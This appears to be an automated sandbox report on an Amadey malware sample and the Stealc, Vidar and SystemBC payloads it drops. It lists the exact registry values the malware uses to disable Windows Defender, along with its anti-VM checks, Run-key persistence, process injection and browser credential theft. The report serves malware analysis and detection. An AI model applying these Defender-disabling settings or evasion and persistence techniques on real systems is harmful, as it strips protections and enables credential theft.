amadey | a2c378db75bc7051bd82788993e28336fd80bc006c2cb9746fb6b49d3df0b972

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	dd3907672e.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	dd3907672e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	dd3907672e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	dd3907672e.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	dd3907672e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	dd3907672e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	dd3907672e.exe

Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	dd3907672e.exe

Modifies Windows Defender notification settings 3 TTPs 2 IoCs

defense_evasion trojan

Windows Service

Modify Registry

Disable or Modify Tools

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender Security Center\Notifications	dd3907672e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender Security Center\Notifications\DisableNotifications = "1"	dd3907672e.exe

Stealc
Stealc is an infostealer written in C++.
stealer stealc
Stealc family
stealc
SystemBC
SystemBC is a proxy and remote administration tool first seen in 2019.
trojan systembc
Systembc family
systembc
Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Vidar family
vidar

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 20 IoCs

Query Registry

Virtualization/Sandbox Evasion

credential_access stealer

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	dd3907672e.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	vertualiziren.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	721702bd23.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	1590993906.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	f9510b80e8.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	483d2fa8a0d53818306efeb32d3.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	FvbuInU.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	v6Oqdnc.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	a2c378db75bc7051bd82788993e28336fd80bc006c2cb9746fb6b49d3df0b972.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	OPC2VURIHUPRBGIGMXLLRVVJD.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	acdc33ee92.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	0IR2HSX48POW1VIT6VA.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	be9629c306.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	TempSXNXTUO2YUFRJMDVXLUKTVUPGKSQEA6H.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	36bd318e4d.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	ovql.exe

Blocklisted process makes network request 3 IoCs

flow	pid	Process
53	1496	powershell.exe
63	936	powershell.exe
305	5828	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2476	powershell.exe
3820	powershell.exe
532	powershell.exe
4264	powershell.exe
6544	powershell.exe
1496	powershell.exe
936	powershell.exe
5828	powershell.exe
5828	powershell.exe

Downloads MZ/PE file 24 IoCs

flow	pid	Process
47	2940	rapes.exe
47	2940	rapes.exe
47	2940	rapes.exe
47	2940	rapes.exe
47	2940	rapes.exe
47	2940	rapes.exe
47	2940	rapes.exe
47	2940	rapes.exe
47	2940	rapes.exe
38	532	a2c378db75bc7051bd82788993e28336fd80bc006c2cb9746fb6b49d3df0b972.exe
51	2576	Gxtuum.exe
53	1496	powershell.exe
118	440	1590993906.exe
87	3948	BitLockerToGo.exe
108	2568	BitLockerToGo.exe
234	2940	rapes.exe
234	2940	rapes.exe
234	2940	rapes.exe
234	2940	rapes.exe
234	2940	rapes.exe
234	2940	rapes.exe
234	2940	rapes.exe
234	2940	rapes.exe
63	936	powershell.exe

Uses browser remote debugging 2 TTPs 7 IoCs

Can be used control the browser and steal sensitive information such as credentials and session cookies.

Steal Web Session Cookie

T1539

Modify Authentication Process

pid	Process
5444	chrome.exe
2600	chrome.exe
2476	msedge.exe
1768	msedge.exe
6732	msedge.exe
5716	chrome.exe
4000	chrome.exe

.NET Reactor proctector 2 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

resource	yara_rule
behavioral2/files/0x0009000000023dd2-1018.dat	net_reactor
behavioral2/memory/5796-1028-0x0000000000B80000-0x0000000000BE0000-memory.dmp	net_reactor

Checks BIOS information in registry 2 TTPs 40 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	ovql.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	dd3907672e.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	a2c378db75bc7051bd82788993e28336fd80bc006c2cb9746fb6b49d3df0b972.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	OPC2VURIHUPRBGIGMXLLRVVJD.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	TempSXNXTUO2YUFRJMDVXLUKTVUPGKSQEA6H.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	36bd318e4d.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	acdc33ee92.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	dd3907672e.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	v6Oqdnc.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	v6Oqdnc.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	f9510b80e8.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	0IR2HSX48POW1VIT6VA.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	0IR2HSX48POW1VIT6VA.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	OPC2VURIHUPRBGIGMXLLRVVJD.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	vertualiziren.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	483d2fa8a0d53818306efeb32d3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	acdc33ee92.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	ovql.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	FvbuInU.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	1590993906.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	vertualiziren.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	721702bd23.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	TempSXNXTUO2YUFRJMDVXLUKTVUPGKSQEA6H.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	483d2fa8a0d53818306efeb32d3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	36bd318e4d.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	FvbuInU.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	f9510b80e8.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	a2c378db75bc7051bd82788993e28336fd80bc006c2cb9746fb6b49d3df0b972.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	721702bd23.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	1590993906.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	be9629c306.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	be9629c306.exe

Checks computer location settings 2 TTPs 7 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\Control Panel\International\Geo\Nation	OPC2VURIHUPRBGIGMXLLRVVJD.exe
Key value queried	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\Control Panel\International\Geo\Nation	rapes.exe
Key value queried	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\Control Panel\International\Geo\Nation	nhDLtPT.exe
Key value queried	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\Control Panel\International\Geo\Nation	Gxtuum.exe
Key value queried	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\Control Panel\International\Geo\Nation	PcAIvJ0.exe

Drops startup file 3 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\win_update.vbs	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe	zY9sqWs.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe	zY9sqWs.exe

Executes dropped EXE 39 IoCs

pid	Process
2140	OPC2VURIHUPRBGIGMXLLRVVJD.exe
2940	rapes.exe
4280	nhDLtPT.exe
2576	Gxtuum.exe
4464	e3d77cfb89.exe
3564	vertualiziren.exe
3036	rapes.exe
3716	Gxtuum.exe
3948	TempSXNXTUO2YUFRJMDVXLUKTVUPGKSQEA6H.EXE
1200	721702bd23.exe
916	483d2fa8a0d53818306efeb32d3.exe
3988	bc3a1e6a75.exe
3636	bc3a1e6a75.exe
4684	bc3a1e6a75.exe
628	36bd318e4d.exe
2688	acdc33ee92.exe
440	1590993906.exe
3740	0IR2HSX48POW1VIT6VA.exe
4428	be9629c306.exe
3108	22e7923b7d.exe
1496	rapes.exe
936	Gxtuum.exe
2916	ovql.exe
3960	dd3907672e.exe
5204	nhDLtPT.exe
6036	Ps7WqSx.exe
5296	FvbuInU.exe
5796	mAtJWNv.exe
6024	mAtJWNv.exe
2484	ce4pMzk.exe
1212	MCxU5Fj.exe
220	MCxU5Fj.exe
3340	MCxU5Fj.exe
4584	v6Oqdnc.exe
3960	PcAIvJ0.exe
4288	zY9sqWs.exe
4760	f9510b80e8.exe
6348	rapes.exe
6356	Gxtuum.exe

Identifies Wine through registry keys 2 TTPs 20 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\Software\Wine	OPC2VURIHUPRBGIGMXLLRVVJD.exe
Key opened	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\Software\Wine	TempSXNXTUO2YUFRJMDVXLUKTVUPGKSQEA6H.EXE
Key opened	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\Software\Wine	1590993906.exe
Key opened	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\Software\Wine	0IR2HSX48POW1VIT6VA.exe
Key opened	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\Software\Wine	dd3907672e.exe
Key opened	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\Software\Wine	FvbuInU.exe
Key opened	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\Software\Wine	f9510b80e8.exe
Key opened	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\Software\Wine	483d2fa8a0d53818306efeb32d3.exe
Key opened	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\Software\Wine	be9629c306.exe
Key opened	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\Software\Wine	vertualiziren.exe
Key opened	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\Software\Wine	721702bd23.exe
Key opened	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\Software\Wine	ovql.exe
Key opened	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\Software\Wine	a2c378db75bc7051bd82788993e28336fd80bc006c2cb9746fb6b49d3df0b972.exe
Key opened	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\Software\Wine	36bd318e4d.exe
Key opened	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\Software\Wine	acdc33ee92.exe
Key opened	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\Software\Wine	v6Oqdnc.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001

Windows security modification 2 TTPs 2 IoCs

defense_evasion trojan

Disable or Modify Tools

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features	dd3907672e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	dd3907672e.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 7 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\be9629c306.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10109140101\\be9629c306.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\22e7923b7d.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10109150101\\22e7923b7d.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\dd3907672e.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10109160101\\dd3907672e.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Anubis = "\"C:\\Users\\Admin\\AppData\\Roaming\\Local\\Caches\\EX0eXUWS\\Anubis.exe\""	ce4pMzk.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\e3d77cfb89.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10108470101\\e3d77cfb89.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\am_no.cmd = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10108480121\\am_no.cmd"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-100612193-3312047696-905266872-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\1590993906.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10109130101\\1590993906.exe"	rapes.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
380	pastebin.com
381	pastebin.com

AutoIT Executable 2 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral2/files/0x0008000000023d16-68.dat	autoit_exe
behavioral2/files/0x0007000000023d70-384.dat	autoit_exe

Suspicious use of NtSetInformationThreadHideFromDebugger 20 IoCs

pid	Process
532	a2c378db75bc7051bd82788993e28336fd80bc006c2cb9746fb6b49d3df0b972.exe
2140	OPC2VURIHUPRBGIGMXLLRVVJD.exe
2940	rapes.exe
3564	vertualiziren.exe
3036	rapes.exe
3948	TempSXNXTUO2YUFRJMDVXLUKTVUPGKSQEA6H.EXE
1200	721702bd23.exe
916	483d2fa8a0d53818306efeb32d3.exe
628	36bd318e4d.exe
2688	acdc33ee92.exe
440	1590993906.exe
3740	0IR2HSX48POW1VIT6VA.exe
4428	be9629c306.exe
1496	rapes.exe
2916	ovql.exe
3960	dd3907672e.exe
5296	FvbuInU.exe
4584	v6Oqdnc.exe
4760	f9510b80e8.exe
6348	rapes.exe

Suspicious use of SetThreadContext 5 IoCs

description	pid	Process	procid_target
PID 3988 set thread context of 4684	3988	bc3a1e6a75.exe	134
PID 1200 set thread context of 3948	1200	721702bd23.exe	141
PID 628 set thread context of 2568	628	36bd318e4d.exe	144
PID 5796 set thread context of 6024	5796	mAtJWNv.exe	180
PID 1212 set thread context of 3340	1212	MCxU5Fj.exe	186

Drops file in Windows directory 3 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\rapes.job	OPC2VURIHUPRBGIGMXLLRVVJD.exe
File created	C:\Windows\Tasks\Gxtuum.job	nhDLtPT.exe
File created	C:\Windows\Tasks\Test Task17.job	vertualiziren.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 3 IoCs

pid	pid_target	Process	procid_target
3312	3988	WerFault.exe	132
2460	5796	WerFault.exe	179
1664	1212	WerFault.exe	184

System Location Discovery: System Language Discovery 1 TTPs 54 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	OPC2VURIHUPRBGIGMXLLRVVJD.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nhDLtPT.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bc3a1e6a75.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	be9629c306.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nhDLtPT.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mAtJWNv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TempSXNXTUO2YUFRJMDVXLUKTVUPGKSQEA6H.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1590993906.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ovql.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	e3d77cfb89.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	483d2fa8a0d53818306efeb32d3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BitLockerToGo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Ps7WqSx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Gxtuum.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vertualiziren.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	36bd318e4d.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	acdc33ee92.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dd3907672e.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	a2c378db75bc7051bd82788993e28336fd80bc006c2cb9746fb6b49d3df0b972.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BitLockerToGo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zY9sqWs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	f9510b80e8.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	721702bd23.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bc3a1e6a75.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	22e7923b7d.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	FvbuInU.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MCxU5Fj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rapes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage	22e7923b7d.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mAtJWNv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MCxU5Fj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	v6Oqdnc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	0IR2HSX48POW1VIT6VA.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language	22e7923b7d.exe

Checks processor information in registry 2 TTPs 13 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	mAtJWNv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	mAtJWNv.exe
